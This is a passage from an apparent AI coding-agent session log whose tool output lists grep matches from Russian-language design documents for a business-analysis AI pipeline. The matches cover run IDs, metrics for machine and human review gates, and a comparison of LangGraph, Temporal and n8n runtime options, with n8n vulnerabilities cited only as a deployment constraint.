\u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n325:- RUN-0063 invalid \u2192 RUN-0067 corrected;\\n327:- RUN-0015 invented numeric NFR \u2192 TBD/open question;\\n363:- `[BCREQ-1074 / RUN-0063]` communication expenses report\\n364:- `[BCREQ-1074 / RUN-0064]` error analysis and report-view specification\\n367:- `[BCREQ-1074 / RUN-0067]` detailed export rework\\n== golden\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\ncandidates\\ncases.yaml\\ngs-cc-01-queue-overflow.md\\ngs-cc-02-report-export.md\\ngs-cc-neg-01-inbound-vs-outbound.md\\ngs-cc-neg-02-queue-vs-group.md\\ngs-cc-neg-03-sla-vs-aht.md\\ngs-cc-neg-04-ivr-vs-announcer.md\\n== MCP\\n== M metrics\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\",\n[2026-09-29T07:54:55.725Z] [INFO]         \"is_error\": false\n[2026-09-29T07:54:55.725Z] [INFO]       }\n[2026-09-29T07:54:55.725Z] [INFO]     ]\n[2026-09-29T07:54:55.725Z] [INFO]   },\n[2026-09-29T07:54:55.725Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:55.725Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"uuid\": \"54811262-5ddd-4e19-923f-19c17fce390c\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:55.712Z\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:54:55.725Z] [INFO]     \"stdout\": \"== CVE/LangGraph/15 nodes/digest\\n59:   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n140:| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n222:| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n256:| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n279:| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); \u0441\u0435\u0440\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u0440\u0442\u0430 2026 ([The Hacker News](https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html)); \u043d\u043e\u0432\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 2026-09-16 ([advisories](https://github.com/n8n-io/n8n/security/advisories)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0422\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440, \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u0432\u043d\u0435\u0448\u043d\u0438\u0435 task runners, \u0443\u0437\u043a\u0438\u0439 \u043a\u0440\u0443\u0433 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 |\\n282:| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n327:\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n355:| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n381:| Temporal (\u0412-5) | \u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432; \u043d\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f \u0411\u0410 | [RFC, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n== lorem\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:250:| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n== GigaCode API\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n== byte\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:31:\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: 